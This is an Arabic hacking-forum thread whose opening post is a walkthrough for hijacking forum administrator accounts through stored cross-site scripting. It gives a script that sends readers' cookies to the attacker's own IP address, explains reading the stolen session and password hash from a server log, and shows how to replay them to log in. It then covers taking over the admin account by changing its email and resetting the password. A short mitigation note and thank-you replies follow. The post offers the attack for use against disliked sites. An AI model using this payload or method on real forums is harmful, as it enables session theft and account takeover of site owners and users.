اشترك في قناتنا ليصلك جديدنا

اشترك في قناتنا على اليوتيوب ليصلك جديدنا

كذلك الاعجاب بصفحتنا على الفيسبوك

اختراق المنتديات عن طريق ثغرة Html

اختراق المنتديات عن طريق ثغرة Html


صفحة 1 من 2 12 الأخيرةالأخيرة
النتائج 1 إلى 10 من 12

الموضوع: اختراق المنتديات عن طريق ثغرة Html

  1. #1
    :: إدارة :: Aljyyosh Team Array الصورة الرمزية ASDELY-ScOrPiOn
    تاريخ التسجيل
    Jun 2009
    الدولة
    فلسطين
    المشاركات
    2,706

    Wink اختراق المنتديات عن طريق ثغرة Html



    بسم الله الرحمن الرحيم
    طبعا في البداية اخواني اقسم بالله العضيم ان لا استعمل هذه الطريقة ضد المنتيدات المسلمة بل ضد المنتديات الي تسيئ الى الاسلام

    طرق اختراق المنتديات مجربه وفعاله

    شرح الاختراق

    الثغرة :
    ---------

    تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
    بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

    قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
    <******>document.write('<img
    src="http://my_ip_address/'+document.******************************e+'">';</******>

    مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

    وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
    من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
    الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

    وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
    مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
    ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

    ابحث عن الكود الخاص بالباسورد .. مثال :

    GET/ bbuserid=86;%20bbpassword=dd61
    69d68822a116cd97e1fb






    ddf90622;%20sessionhash=a
    4719cd620534914930b86839c4bb5f
    8;%20bbthreadview[54






    20]=1012444064;%20bblastvi
    sit=1011983161

    فكر قليلا الان .. اين الباسورد ؟؟
    الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
    قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
    http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
    ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
    في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
    لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
    وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

    اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

    ------------
    الحل
    -----------

    للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
    (واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

    كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة <******> فاذا وضعت <img> او <Demon> او
    اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
    Be Secret .. Dont' be Lamer .

    تاريخ اكتشاف الثغرة : 31 - 1 - 2002
    تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .



  2. #2
    هكر مبتديء Array
    تاريخ التسجيل
    Jun 2009
    المشاركات
    3

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    يسلموووووووووووووووو


  3. #3
    :: إدارة :: Aljyyosh Team Array الصورة الرمزية ASDELY-ScOrPiOn
    تاريخ التسجيل
    Jun 2009
    الدولة
    فلسطين
    المشاركات
    2,706

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    شكرالمرورك عل موضوعي



  4. #4
    هكر مبتديء Array
    تاريخ التسجيل
    Jul 2009
    المشاركات
    2

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    يعطيك العافيه



    ثغرة قديمة جدا وتم اغلاقها من كثير من المنتدي


    تقبل مروري


  5. #5
    هكر مبتديء Array الصورة الرمزية MeZo
    تاريخ التسجيل
    Jul 2009
    المشاركات
    44

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    مشكورررررررررررررررر


  6. #6
    هكر مبتديء Array
    تاريخ التسجيل
    Dec 2009
    المشاركات
    1

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    شكرا يامان



  7. #7
    هكر مبتديء Array
    تاريخ التسجيل
    Aug 2009
    المشاركات
    68

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    كيف
    يكون على جهازي سيرفر مثل IIS او Apache


  8. #8
    هكر مبتديء Array
    تاريخ التسجيل
    Feb 2010
    المشاركات
    6

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    شكرا يامان


  9. #9
    هكر مجتهد Array الصورة الرمزية MASTER.SATAN
    تاريخ التسجيل
    Mar 2011
    الدولة
    Grand Line
    المشاركات
    501

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    روووووووووووووووووووووووو ووووعه



  10. #10
    هكر مجتهد Array الصورة الرمزية MASTER.SATAN
    تاريخ التسجيل
    Mar 2011
    الدولة
    Grand Line
    المشاركات
    501

    افتراضي رد: اختراق المنتديات عن طريق ثغرة Html

    ناااااااااااااااااااااااا اااااااايس


صفحة 1 من 2 12 الأخيرةالأخيرة

المواضيع المتشابهه

  1. ثغرة xss مصاب بها جميع المنتديات والباس يوصل من غير تشفير
    بواسطة BLACK.JaGuAr في المنتدى قسم الثغرات
    مشاركات: 567
    آخر مشاركة: 10-15-2011, 05:03 AM
  2. إختراق المنتديات عن طريق شيل r57
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى إختراق المنتديات
    مشاركات: 23
    آخر مشاركة: 06-22-2011, 07:19 AM
  3. اقوىطرق اختراق المنتديات عن طريق ال Mysql
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى إختراق المنتديات
    مشاركات: 7
    آخر مشاركة: 05-21-2010, 09:17 PM
  4. 30 طريقة لكسب الأجر عن طريق المنتديات
    بواسطة mahmoud38 في المنتدى المنتدى إلاسلامي
    مشاركات: 0
    آخر مشاركة: 11-10-2009, 11:41 PM

وجد الزوار هذه الصفحة بالبحث عن:

ثغرة html

اختراق مواقع html

اختراق المنتديات عبر التعلماتاختراق htmlاختراق المنتدى بواسطة التعليماتكيفية الاختراق عن طريق htmlاختراق المنتديات عن طريق لوحة التحكماختراق المنتدى عن طريق ثغرة اخر 10 مواضيعاختراق الموقع عن طريق التعليماتالاختراق عن طريق htmlطريقة معرفة ثغرة htmlثغرات htmlختراق المنتديات عبرالتعلمات اختراق المنتدى بواسطةکيف نستعمل ثغرةgraphتهكير المنتدى من التعليماتشرح استخدام الثغرات htmlاختراق موقع عن طريق الاكوادكود اختراق المنتدياتاختراق صفحات htmlاختراق منتدى عن طريق لوحة التحكمhttp:www.aljyyosh.comvbshowthread.phpt=9اكواد ‎اختراق ‏htmlسرقة المواقع عبر htmlكيف يتم اختراق المواقع بواسطة html

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •